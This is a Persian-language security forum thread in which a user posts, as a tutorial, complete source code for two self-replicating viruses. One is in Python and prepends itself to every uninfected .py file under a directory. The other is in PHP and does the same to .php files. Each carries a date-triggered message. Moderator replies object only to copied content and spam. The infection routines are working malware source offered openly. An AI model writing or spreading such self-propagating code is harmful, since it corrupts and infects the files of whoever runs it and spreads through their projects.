رفتن به مطلب
بازگشایی انجمن! ×
GuardIran

ساخت ویروس با پایتون و php


Mr.Cyber

پست های پیشنهاد شده

با سلام دوباره خدمت شما اعضای محترم.

توی این آموزش قصد داریم دوتا ویروس بسازیم. 

ویروس اول رو با زبان پایتون میسازیم و ویروس دوم رو با php لطفا هیچ ویروسی رو روی سیستم خودتون اجرا نکنید حتی اگر بی ضرر باشد🙂

ویروس اول:

#!/usr/bin/python
import os
import datetime
SIGNATURE = "CRANKLIN PYTHON VIRUS"
def search(path):
    filestoinfect = []
    filelist = os.listdir(path)
    for fname in filelist:
        if os.path.isdir(path+"/"+fname):
            filestoinfect.extend(search(path+"/"+fname))
        elif fname[-3:] == ".py":
            infected = False
            for line in open(path+"/"+fname):
                if SIGNATURE in line:
                    infected = True
                    break
            if infected == False:
                filestoinfect.append(path+"/"+fname)
    return filestoinfect
def infect(filestoinfect):
    virus = open(os.path.abspath(__file__))
    virusstring = ""
    for i,line in enumerate(virus):
        if i>=0 and i <39:
            virusstring += line
    virus.close
    for fname in filestoinfect:
        f = open(fname)
        temp = f.read()
        f.close()
        f = open(fname,"w")
        f.write(virusstring + temp)
        f.close()
def bomb():
    if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
        print "HAPPY BIRTHDAY CRANKLIN!"
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
bomb()

ویروس دوم:

 

<?php
define("SIGNATURE", "CRANKY'S PHP VIRUS");
// determine whether backslash or forward slashes are used
define("SLASH", stristr($_SERVER['PWD'], "/") ? "/" : "\\");
$linenumber = __LINE__;
define("STARTLINE",$linenumber-4);
define("ENDLINE",$linenumber+45);
function search($path){
    $ret = "";
    $fp = opendir($path);
    while($f = readdir($fp)){
        if( preg_match("#^\.+$#", $f) ) continue; // ignore symbolic links
        $file_full_path = $path.SLASH.$f;
        if(is_dir($file_full_path)) { // if it's a directory, recurse
            $ret .= search($file_full_path);
        } else if( !stristr(file_get_contents($file_full_path), SIGNATURE) ) { // search for uninfected files to infect
            $ret .= $file_full_path."\n";
        }   
    }   
    return $ret;
}
function infect($filestoinfect){
    $handle = @fopen(__FILE__, "r");
    $counter = 1;
    $virusstring = ""; 
    while(($buffer=fgets($handle,4096)) !== false){
        if($counter>=STARTLINE && $counter<=ENDLINE){
            $virusstring .= $buffer;
        }   
        $counter++;
    }   
    fclose($handle);
    $filesarray = array();
    $filesarray = explode("\n",$filestoinfect);
    foreach($filesarray AS $v){
        if(substr($v,-4)===".php"){
            $filecontents = file_get_contents($v);
            file_put_contents($v,$virusstring.$filecontents);
        }
    }
}
function bomb(){
    if(date("md") == 0125){
        echo "HAPPY BIRTHDAY CRANKY!";
    }
}
$filestoinfect = search(__DIR__);
infect($filestoinfect);
bomb();
?>

پیشنهاد میکنم این ویروس ها رو روی سیستم خودتون اجرا نکنید چون ممکنه برخی از پرونده های شما رو آلوده بکنه و ما درقبال آن هیچ مسئولیتی نداریم.

باتشکر از شما.

 

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر


درود

دوست عزیز از قرار دادن مطالبی که در وب سایت ها یا انجمن های دیگر قرار داده شده خودداری کنید.

This is the hidden content, please
اول   و   
This is the hidden content, please
 اول

This is the hidden content, please
  و   
This is the hidden content, please

 

درضمن نحوه قرار دادن کد ها اشتباه است.

به عنون مثال شما باید کد ها را اینطور قرار دهید.

This is the hidden content, please

 

موفق باشید🌹🌹

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر


با سلام خدمت شما دوست عزیز

لطفا مواردی که گفته میشه رو رعایت بفرمایید و اسپم ندید.

سعی کنید مطالب رو خودتون ایجاد کنید و آموزشی های کاربردی رو بزارید لطفا، ملاک محتوای خوب هست دوست عزیز.

سپاس از فعالیت شما، موفق باشید.

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر


به گفتگو بپیوندید

هم اکنون می توانید مطلب خود را ارسال نمایید و بعداً ثبت نام کنید. اگر حساب کاربری دارید، برای ارسال با حساب کاربری خود اکنون وارد شوید .

مهمان
ارسال پاسخ به این موضوع...

×   شما در حال چسباندن محتوایی با قالب بندی هستید.   حذف قالب بندی

  تنها استفاده از 75 اموجی مجاز می باشد.

×   لینک شما به صورت اتوماتیک جای گذاری شد.   نمایش به صورت لینک

×   محتوای قبلی شما بازگردانی شد.   پاک کردن محتوای ویرایشگر

×   شما مستقیما نمی توانید تصویر خود را قرار دهید. یا آن را اینجا بارگذاری کنید یا از یک URL قرار دهید.

×
×
  • ایجاد مورد جدید...